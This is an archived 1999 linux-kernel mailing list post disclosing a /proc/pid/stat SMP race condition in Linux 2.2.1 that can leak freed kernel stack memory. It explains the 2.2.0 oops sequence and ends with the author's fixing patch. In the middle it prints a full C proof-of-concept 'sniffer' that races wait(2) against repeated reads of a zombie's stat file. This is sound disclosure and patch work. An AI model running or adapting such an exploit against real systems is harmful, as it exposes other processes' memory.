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TUCoPS :: Linux :: General :: procrace.txt

linux 2.2.1 /proc race condition allowing local users to crash the kernel.





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Date: Tue, 2 Feb 1999 17:39:13 +0100
From: Andrea Arcangeli <andrea@E-MIND.COM>
Subject: [patch] /proc race fixes for 2.2.1 (fwd)

This is a short analysis I've done yesterday about the array.c
(/proc/pid/...) races of Linux-2.2.0 and Linux-2.2.1. These races was
leading to very easily reproducible crashes and Oopses in linux-2.2.0. But
Linux-2.2.1 is not been completly fixed. There's still a potential race
very hard to reproduce (I think you need at least a 3way smp). You can
find a kind of /proc sniffer in this email. At the end of this email
you'll find my complete fix for 2.2.1.

The race if exploited can lead at least to reading data from random used
memory. The memory that could be sniffed could contain any kind of useful
data (userspace process memory, cache or whatever). It's not possible to
grab the whole page but it's possible only to reproduce the contents of
the memory reading and decoding the output of /proc.

Maybe it's impossible to exploit the SMP race I am pointing out even if on
3way smp because of timing issues, but there's no a lock that assures
atomicity.

Side note: I hope to have diffed all the interesting changes from my tree
to 2.2.1 at the end of the email (I don't have the time to check). If for
some reason the patch won't apply cleanly or will not work don't bother me
in mass, but instead go in sync with my personal kernel tree to get this
race fixed (I take it open just to allow other people to try it) at
ftp://e-mind.com/pub/linux/arca-tree/2.2.1_arca-2.gz. My tree has also
many other improvements, bugfix and features (not only developed by me,
e.g.  the ieee1284-parport code developed by Tim Waugth) and can have any
kind of bugs in it so ask me before use it for production (so I'll tell
you what you have to remove to get it rock solid for sure).

Andrea Arcangeli

---------- Forwarded message ----------
Date: Tue, 2 Feb 1999 01:07:07 +0100 (CET)
>From: Andrea Arcangeli <andrea@e-mind.com>
To: linux-kernel@vger.rutgers.edu
Subject: [patch] /proc race fixes for 2.2.1

2.2.1 reintroduced a SMP race in array.c. The SMP race is that wait(2) can
free the kernel stack of the zombie process while array.c is using it.

Once the page is freed it can be reused, and if it get recycled before
array.c has finished to use it, you could reconstruct part of RAM that you
should not be allowed to read (looking at /proc data) and array.c could
get in problems during its lifetime (not checked this last but it's a
guess).

In practice the window for the race is small and I think you would need at
least 3 CPU to reproduce this I think.

The first CPU has to fork a process that will do only an _exit(2). Then
has to wait that the forked process become a zombie, and once it's a
zombie it has to start a /proc sniffer that will read /proc/zombiepid/stat
on the other cpu.

This sniffer will save its contents to a buffer at the first pass and then
it will start reading /proc/../stat in loop and comparing it with the one
saved in the buffer, and it will then log the output of /proc/../stat if
it will be changed compared with the saved data sample in the buffer.

Once the sniffer is at regime (the loop that search for /proc changes is
started) the task on the first CPU (the one that forked the sniffer) has
to do a wait(2) so that the stack of the zombie process will be released.

A bit before doing the wait(2) you must eat all the memory avaliable with
a trashing proggy and this last has to run in a new CPU (so you need at
least a 3way smp). Since this last memory-trasher proggy will start
allocing tons of memory, you'll have a chance that the pages freed by
wait(2) will be realloced by the kernel before the read of the /proc
sniffer will finish.

It's theorically possible to sniff data from the kernel exploiting the
/proc race but it's really hard and only on some very parallel hardware.

I also written a sample of exploit (really ugly, I written it very fast
and without thinking too much about it because I think to spend better my
time in fixing the bug or writing useful code than in writing exploits....
and because I realizied that on the hardware I have here it would have
never worked ;).

/*
 * Copyright (C) 1999  Andrea Arcangeli
 * Linux-2.2.1 /proc SMP race sniffer
 */

#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <pthread.h>

static volatile int pid = -1;
static int prog_length;
static pthread_mutex_t pid_lock = PTHREAD_MUTEX_INITIALIZER;
static pthread_mutex_t zombie_lock = PTHREAD_MUTEX_INITIALIZER;

static int get_current_pid(void)
{
        int __pid;
        pthread_mutex_lock(&pid_lock);
        __pid = pid;
        pthread_mutex_unlock(&pid_lock);
        return __pid;
}

static void * sniffer(void *dummy)
{
        int cache_pid = -1, fd = -1;
        char str[50], buf[2000], sample[2000];

        pthread_mutex_lock(&zombie_lock);
        pthread_mutex_unlock(&zombie_lock);

        for (;;)
        {
                int length_cmp;
                if (get_current_pid() != cache_pid)
                {
                        pthread_mutex_lock(&zombie_lock);
                        cache_pid = pid;
                        snprintf(str, 50, "/proc/%d/stat", cache_pid);
                        if (fd > 0)
                                close(fd);
                        fd = open(str, O_RDONLY|O_NONBLOCK);
                        if (fd > 0)
                        {
                                int length;
                                length = read(fd, &buf, 2000);
                                if (length > 0)
                                {
                                        length_cmp = length;
                                        memcpy(sample, buf, length);
                                        sample[length-1] = 0;
                                }
                        }
                        pthread_mutex_unlock(&zombie_lock);
                }

                if (fd > 0)
                {
                        int length;

                        lseek(fd, 0, SEEK_SET);
                        length = read(fd, &buf, 200);
                        buf[length-1] = 0;
                        if (length >= length_cmp && memcmp(buf, sample,
                                                           length_cmp))
                                printf("length %d, pid %d\n"
                                       "original data: %s\n"
                                       "modifyed data: %s\n",
                                       length, cache_pid, sample, buf);
                }
        }
}

static int is_zombie(int __pid)
{
        char str[50], state;
        FILE * status;
        snprintf(str, 50, "/proc/%d/status", __pid);
        status = fopen(str, "r");
        if (!status)
        {
                perror("open");
                exit(2);
        }
        fscanf(status, "%*s\t%*s\nState:\t%c", &state);
        fclose(status);
        if (state != 'Z')
                return 0;
        return 1;
}

int main(int argc, char *argv[])
{
        int dummy;
        pthread_t task_struct_sniffer;

        pthread_mutex_lock(&zombie_lock);

        if (pthread_create(&task_struct_sniffer, NULL, sniffer, NULL))
        {
                perror("pthread_create");
                exit(1);
        }

        for (;;)
        {
                int __pid = fork();
                if (!__pid)
                        _exit(0);

                while (!is_zombie(__pid));

                pthread_mutex_lock(&pid_lock);
                pid = __pid;
                pthread_mutex_unlock(&pid_lock);

                pthread_mutex_unlock(&zombie_lock);
                usleep(1);
                wait(&dummy);
                pthread_mutex_lock(&zombie_lock);
        }
        pthread_mutex_unlock(&zombie_lock);
}

Probably it has also bugs (since I have no chance to make it working here
I am not going to look at it further), I attached it here only in the case
someone is interested on a exploit sample. BTW, is there a better way to
know when the child is become a zombie than reading
/proc/pidofchild/status ? I thought to catch the SIGCHILD signal but as
first I was not sure that this way a wait() would be wakenup anyway (too
lazy to check in signal.c ;), and as second with the /proc/xxx/status
approch I had to write less code anyway and since it was a not performance
critical piece of code I had no dubit of the way to take ;).

I also understood very well the reason of the 2.2.0 oopses and process in
D state. It was happening something like this:

        `ps`                            tsk
        -------------                   -----------------
        sys_read()
        lock_kernel()
                                        do_page_fault()
        array_read()
                                        down(tsk->mm)
                                        find_vma()
        get_process_array()
                                        handle_mm_fault()
                                        lock_kernel() /* woowoo so spin on
                                                        the big kernel
                                                        lock */
        get_stat()
        grab_task()
        down(tsk->mm) /* just owned by tsk */
        schedule() /* so release the big kernel lock */
                                        tsk gets the big kernel lock
                                        here
                                        finish the page fault
                                        __up()
                                        wake_up_process(`ps`)
                                        many othe thing
                                        execve() /* this is the harming */
                                        mmput(tsk->mm);
                                        tsk->mm = mm_alloc(); (mm->count = 1)
                                        finish execve...
                                        .... everything he wants ....
        now `ps` get rescheduled
        and own the mm->semaphore
        (of a mm_struct that is not
        tsk->mm anymore)
        release_task(tsk);
        mmput(tsk->mm); (but mm->count was 1!!)
        exit_mmap();
        zap_page_range() /* aieee! */
                                        at the first fault it will get
                                        a mm = &init_mm !!

Thinks like this can't happens in 2.2.0-pre9 just because tsk->mm was
still referencing the old mm of the process (before the execve) because
tsk->mm was a copy and not a runtime value.

Obviously there was the stack overflow and performances problem in the
(1) copy approch.

So now I fixed all races with a zerocopy approch (originally suggested by
Linus that increments the page count of the process stack instead of
doing the copy, but it also assure that array.c always use the mm it has
get before (with mmget())).

Works fine here. Patch against 2.2.1:

--- /tmp/array.c        Tue Feb  2 00:08:07 1999
+++ linux/fs/proc/array.c       Mon Feb  1 23:51:51 1999
@@ -389 +390,30 @@
-static unsigned long get_phys_addr(struct task_struct * p, unsigned long ptr)
+/*
+ * Caller must release_mm the mm_struct later.
+ * You don't get any access to init_mm.
+ */
+static struct mm_struct * grab_mm(int pid)
+{
+       struct mm_struct * mm = NULL;
+       struct task_struct * tsk;
+
+       read_lock(&tasklist_lock);
+       tsk = find_task_by_pid(pid);
+       /*
+        * NOTE: this doesn't race because we are protected by the
+        * big kernel lock. -arca
+        */
+       if (tsk && tsk->mm && tsk->mm != &init_mm)
+               mmget(mm = tsk->mm);
+       read_unlock(&tasklist_lock);
+       if (mm)
+               down(&mm->mmap_sem);
+       return mm;
+}
+
+static void release_mm(struct mm_struct *mm)
+{
+       up(&mm->mmap_sem);
+       mmput(mm);
+}
+
+static unsigned long get_phys_addr(struct mm_struct *mm, unsigned long ptr)
@@ -395 +425 @@
-       if (!p || !p->mm || ptr >= TASK_SIZE)
+       if (ptr >= TASK_SIZE)
@@ -398,2 +428,2 @@
-       if (!p->mm->pgd) {
-               printk("get_phys_addr: pid %d has NULL pgd!\n", p->pid);
+       if (!mm->pgd) {
+               printk(KERN_DEBUG "missing pgd for mm %p\n", mm);
@@ -403 +433 @@
-       page_dir = pgd_offset(p->mm,ptr);
+       page_dir = pgd_offset(mm,ptr);
@@ -425 +455 @@
-static int get_array(struct task_struct *p, unsigned long start, unsigned long end, char * buffer)
+static int get_array(struct mm_struct *mm, unsigned long start, unsigned long end, char * buffer)
@@ -434 +464 @@
-               addr = get_phys_addr(p, start);
+               addr = get_phys_addr(mm, start);
@@ -456,5 +486,2 @@
-       struct task_struct *p;
-       
-       read_lock(&tasklist_lock);
-       p = find_task_by_pid(pid);
-       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
+       struct mm_struct *mm;
+       int res = 0;
@@ -462,3 +489,6 @@
-       if (!p || !p->mm)
-               return 0;
-       return get_array(p, p->mm->env_start, p->mm->env_end, buffer);
+       mm = grab_mm(pid);
+       if (mm) {
+               res = get_array(mm, mm->env_start, mm->env_end, buffer);
+               release_mm(mm);
+       }
+       return res;
@@ -469 +499,2 @@
-       struct task_struct *p;
+       struct mm_struct *mm;
+       int res = 0;
@@ -471,6 +502,6 @@
-       read_lock(&tasklist_lock);
-       p = find_task_by_pid(pid);
-       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
-       if (!p || !p->mm)
-               return 0;
-       return get_array(p, p->mm->arg_start, p->mm->arg_end, buffer);
+       mm = grab_mm(pid);
+       if (mm) {
+               res = get_array(mm, mm->arg_start, mm->arg_end, buffer);
+               release_mm(mm);
+       }
+       return res;
@@ -725 +707 @@
-static inline char * task_mem(struct task_struct *p, char *buffer)
+static inline char * task_mem(struct mm_struct * mm, char *buffer)
@@ -727,4 +709,2 @@
-       struct mm_struct * mm = p->mm;
-
-       if (mm && mm != &init_mm) {
-               struct vm_area_struct * vma = mm->mmap;
+       if (mm) {
+               struct vm_area_struct * vma;
@@ -819,0 +800,39 @@
+static struct task_struct *grab_task(int pid, struct mm_struct ** mm)
+{
+       struct task_struct *tsk = current;
+       
+       *mm = NULL;
+       read_lock(&tasklist_lock);
+       tsk = find_task_by_pid(pid);
+       if (tsk)
+       {
+               struct mm_struct * __mm;
+               struct page * page = mem_map + MAP_NR(tsk);
+               atomic_inc(&page->count);
+               /*
+                * NOTE: this doesn't race because we are protected
+                * by the big kernel lock. -arca
+                */
+               __mm = tsk->mm;
+               if (__mm && __mm != &init_mm)
+               {
+                       mmget(__mm);
+                       *mm = __mm;
+               }
+       }
+       read_unlock(&tasklist_lock);
+       if (*mm)
+               down(&(*mm)->mmap_sem);
+
+       return tsk;
+}
+
+static void release_task(struct task_struct *tsk, struct mm_struct * mm)
+{
+       if (mm)
+       {
+               up(&mm->mmap_sem);
+               mmput(mm);
+       }
+       free_pages((unsigned long) tsk, 1);
+}
@@ -825,4 +844,3 @@
-
-       read_lock(&tasklist_lock);
-       tsk = find_task_by_pid(pid);
-       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
+       struct mm_struct * mm;
+       
+       tsk = grab_task(pid, &mm);
@@ -833 +851 @@
-       buffer = task_mem(tsk, buffer);
+       buffer = task_mem(mm, buffer);
@@ -835,0 +854 @@
+       release_task(tsk, mm);
@@ -841,0 +861 @@
+       struct mm_struct * mm;
@@ -846,0 +867 @@
+       int res;
@@ -848,3 +869 @@
-       read_lock(&tasklist_lock);
-       tsk = find_task_by_pid(pid);
-       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
+       tsk = grab_task(pid, &mm);
@@ -855,3 +874,4 @@
-       if (tsk->mm && tsk->mm != &init_mm) {
-               struct vm_area_struct *vma = tsk->mm->mmap;
-               while (vma) {
+       if (mm) {
+               struct vm_area_struct *vma;
+
+               for (vma = mm->mmap; vma; vma = vma->vm_next) {
@@ -859 +878,0 @@
-                       vma = vma->vm_next;
@@ -860,0 +880 @@
+               
@@ -881 +901 @@
-       return sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \
+       res = sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \
@@ -907 +927 @@
-               tsk->mm ? tsk->mm->rss : 0, /* you might want to shift this left 3 */
+               mm ? mm->rss : 0, /* you might want to shift this left 3 */
@@ -909,3 +929,3 @@
-               tsk->mm ? tsk->mm->start_code : 0,
-               tsk->mm ? tsk->mm->end_code : 0,
-               tsk->mm ? tsk->mm->start_stack : 0,
+               mm ? mm->start_code : 0,
+               mm ? mm->end_code : 0,
+               mm ? mm->start_stack : 0,
@@ -925,0 +946,3 @@
+
+       release_task(tsk, mm);
+       return res;
@@ -1003 +1025,0 @@
-       struct task_struct *tsk;
@@ -1004,0 +1027 @@
+       struct mm_struct *mm;
@@ -1006,7 +1029,3 @@
-       read_lock(&tasklist_lock);
-       tsk = find_task_by_pid(pid);
-       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
-       if (!tsk)
-               return 0;
-       if (tsk->mm && tsk->mm != &init_mm) {
-               struct vm_area_struct * vma = tsk->mm->mmap;
+       mm = grab_mm(pid);
+       if (mm) {
+               struct vm_area_struct * vma = mm->mmap;
@@ -1015 +1034 @@
-                       pgd_t *pgd = pgd_offset(tsk->mm, vma->vm_start);
+                       pgd_t *pgd = pgd_offset(mm, vma->vm_start);
@@ -1032,0 +1052 @@
+               release_mm(mm);
@@ -1070 +1089,0 @@
-
@@ -1074 +1093,2 @@
-       struct task_struct *p;
+       struct task_struct * p;
+       struct mm_struct * mm;
@@ -1079 +1098,0 @@
-       int volatile_task;
@@ -1091,3 +1110 @@
-       read_lock(&tasklist_lock);
-       p = find_task_by_pid(pid);
-       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
+       p = grab_task(pid, &mm);
@@ -1097 +1114 @@
-       if (!p->mm || p->mm == &init_mm || count == 0)
+       if (!mm || count == 0)
@@ -1100,3 +1116,0 @@
-       /* Check whether the mmaps could change if we sleep */
-       volatile_task = (p != current || atomic_read(&p->mm->count) > 1);
-
@@ -1108 +1122 @@
-       for (map = p->mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++)
+       for (map = mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++)
@@ -1179,6 +1192,0 @@
-
-               /* By writing to user space, we might have slept.
-                * Stop the loop, to avoid a race condition.
-                */
-               if (volatile_task)
-                       break;
@@ -1190,0 +1199 @@
+       release_task(p, mm);
@@ -1202 +1211,2 @@
-       struct task_struct * tsk = current ;
+       struct task_struct * tsk;
+       struct mm_struct * mm;
@@ -1205,6 +1215,2 @@
-       read_lock(&tasklist_lock);
-       if (pid != tsk->pid)
-               tsk = find_task_by_pid(pid);
-       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
-
-       if (tsk == NULL)
+       tsk = grab_task(pid, &mm);
+       if (!tsk)
@@ -1223,0 +1230 @@
+       release_task(tsk, mm);


Andrea Arcangeli


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